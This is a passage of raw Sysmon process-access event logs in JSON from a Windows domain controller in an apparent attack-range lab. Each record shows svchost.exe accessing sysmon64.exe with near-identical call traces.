C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1276,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1277,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1278,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1279,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1280,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1281,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1282,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1283,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 